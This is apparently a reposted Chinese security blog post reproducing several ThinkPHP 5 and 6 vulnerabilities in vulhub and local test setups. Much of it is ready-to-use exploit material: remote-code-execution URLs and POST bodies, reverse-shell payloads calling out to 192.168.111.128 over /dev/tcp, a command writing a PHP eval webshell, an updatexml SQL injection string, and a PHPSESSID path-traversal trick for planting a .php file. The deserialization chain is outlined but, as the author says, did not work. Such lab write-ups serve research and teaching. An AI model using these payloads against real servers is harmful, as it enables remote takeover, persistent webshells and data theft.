【Web渗透】ThinkPHP漏洞复现

admin 2023年12月14日08:57:19评论67 views字数 5551阅读18分30秒阅读模式

thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,一般也没有人再继续用,所以就不再做复现了,本篇文章主要介绍下thinkphp5、6的漏洞

Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞

漏洞成因:由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本:5.0<thinkphp<=5.0.22、5.1<thinkphp<=5.1.29

环境:vulhub

验证漏洞POC

http://127.0.0.1:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

【Web渗透】ThinkPHP漏洞复现

简单说一下POC:invokefunction调用call_user_func_array方法, call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,上面的意思是通过call_user_func_array函数调用system函数执行whoami命令。

此漏洞产生的关键原因在routeCheck函数中,关键代码如下

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
// var_dump($result['module']);
return $result;
}

上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/thinkapp/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠''的情况 ,result的值为如下所示:

$result = array[3]
$result[0] = (string) index
$result[1] = (string) thinkapp
$result[2] = (string) invokefunction

最终导致传入exec函数的控制器为thinkapp,而最后通过 $reflect->invokeArgs(isset($class) ? $class : null 来解析类和参数,从而导致命令执行漏洞。

反弹shell命令(需进行url编码)

http://127.0.0.1:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=/bin/bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.111.128/9999%200%3E%261%22

【Web渗透】ThinkPHP漏洞复现

或者写入一句话(同样url编码)

http://127.0.0.1:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22x%22%5D%29%3F%3E%27%20%3Eshell.php%20

【Web渗透】ThinkPHP漏洞复现

ThinkPHP5 5.0.23 远程代码执行漏洞

漏洞成因:其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本: 5.0< ThinkPHP<5.0.23、 5.1< ThinkPHP<5.1.31

环境:vulhub

验证漏洞POC(这里需要注意加上Content-Type: application/x-www-form-urlencoded将请求以URL编码发送)

POST /index.php?s=captcha HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

【Web渗透】ThinkPHP漏洞复现

反弹shell(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.128/9999+0>%261"

【Web渗透】ThinkPHP漏洞复现

thinkphp 5.0.23 rce源码下载:top-think/framework at v5.0.23 (github.com),感兴趣的师傅可以看看

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

漏洞成因:本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。

影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

环境搭建:这里vulnhub docker环境我在kali运行一直报错,就使用composer搭建环境吧

1、先下载composer

curl -sS https://getcomposer.org/installer | php

2、下载完成之后,要把composer.phar文件移动到bin目录里面,方便全局使用composer命令

mv composer.phar /usr/local/bin/composer

3、切换阿里云Composer镜像

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

4、获取think5.0.15代码

composer create-project --prefer-dist topthink/think=5.0.15 v5.0.15

下载源码后,需要对application/index/controller/Index.php内容进行修改,如下

<?php
namespace appindexcontroller;

use appindexmodelUser;

class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "<p>Hello, {$row['username']}</p>";
}
}
}

创建数据库信息如下

create database 1_ry;
use 1_ry;
create table users(
id int primary key auto_increment,
username varchar(50) not null,
);
insert into users(id,username) values(1,'1_ry');

然后在 /application/database.php配置数据库,并开启application/config.php中的app_debug和app_trace

【Web渗透】ThinkPHP漏洞复现

【Web渗透】ThinkPHP漏洞复现

配置完成后访问

http://127.0.0.1/v5.0.15/public/index.php/?username=)%20union%20select%20updatexml(1,concat(0x7,database(),0x7e),1)%23

【Web渗透】ThinkPHP漏洞复现

这是一个比较鸡肋的SQL注入漏洞。必须存在一个这样的注入点才能利用,并且没开启 app_debug 是无法看到 SQL 报错信息的,限制很多

ThinkPHP v6.0.x 任意文件操作漏洞

漏洞描述:在开启Session的情况下可以导致创建任意文件以及删除任意文件,特定情况下可以getshell

影响版本:6.0.0<=thinphp<=6.0.2

环境同样使用composer下载源码搭建, PHP version ">= 7.4.0"

composer create-project --prefer-dist topthink/think=6.0.2 v6.0.2

默认是thinkphp6最新版本的,漏洞是已经修复了的,所以我们需要对程序进行降级

composer require topthink/framework:6.0.2

复现过程

写入的session内容是由实际的后端业务逻辑来决定的,所以说只有苛刻的条件下才能写入webshell。

我们在appcontrollerindex.php中增加一些代码后,如下

<?php
namespace appcontroller;
use thinkfacadeSession;
use appBaseController;
class Index extends BaseController
{
public function index()
{
Session::set('name','thinkphp');
return 1;
}
}

thinkphp6默认是没有开启session功能的,我们需要在app/middleware.php文件中,取消session中间件的注释,设置为如图

【Web渗透】ThinkPHP漏洞复现

搭建好环境后打开页面如图

【Web渗透】ThinkPHP漏洞复现

抓包只需要构造PHPSESSID的值即可,长度为32

【Web渗透】ThinkPHP漏洞复现

生成的session文件保存在runtimesession

【Web渗透】ThinkPHP漏洞复现

里面的内容经过了序列化操作

a:1:{s:4:"name";s:8:"thinkphp";}

如果要利用这个漏洞getshell的话,还要解决两个问题

  • 一、session文件内容可控,如果后端需要有类似的Session::set('name', $_POST['a']);代码才可以利用

  • 二、thinkphp的网站一般会把 /public 设置为网站的根目录,而生成的文件是在/runtime/session文件夹下面的,默认是访问不到的但是这个通过,即可绕过PHPSESSID=/../../../public/aaaaaaaaaaa.php

【Web渗透】ThinkPHP漏洞复现

ThinkPHP v6.0.x 反序列化漏洞

影响版本:thinkPHP v6.0.0-6.0.3

环境:使用上一个漏洞的环境

版本安装后默认使用单应用模式部署,url访问受到路由模式的影响,为了使用方便,我们先要去/config/app.php 中将with_route => false

【Web渗透】ThinkPHP漏洞复现

需要在根目录下的 /app/controller的index.php里面存在unserialize()函数且为可控点,例如存在

public function l_Ry(){
$a = $_POST['a'];
echo $a;
unserialize($a);
}

【Web渗透】ThinkPHP漏洞复现

POST传参数a

http://127.0.0.1/v6.0.2/public/index.php/index/l_Ry

【Web渗透】ThinkPHP漏洞复现

至此环境就搭建完成了

我跟着网上的资料大概分析了一下https://blog.csdn.net/cosmoslin/article/details/123102811https://xz.aliyun.com/t/9546#toc-16https://blog.csdn.net/weixin_45794666/article/details/123237118https://xz.aliyun.com/t/9405#toc-3

漏洞的一般起点在__destruct()函数,可利用的函数在vendortopthinkthink-ormsrcModel.php

【Web渗透】ThinkPHP漏洞复现

中间的过程太繁杂,大体和参考的文章差不多就不写出来了,顺着往下找,最终利用点为

$value = $closure($value, $this->data);

完整的POP利用链为__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()——>toJson()-->toArray()——>getAttr()——>getData()——>getRealFieldName()——>getValue()

但最后无论是自己构造的poc还是参考文章的poc,全都复现失败

【Web渗透】ThinkPHP漏洞复现


原文始发于微信公众号(信安学习笔记):【Web渗透】ThinkPHP漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日08:57:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透】ThinkPHP漏洞复现https://cn-sec.com/archives/2296714.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息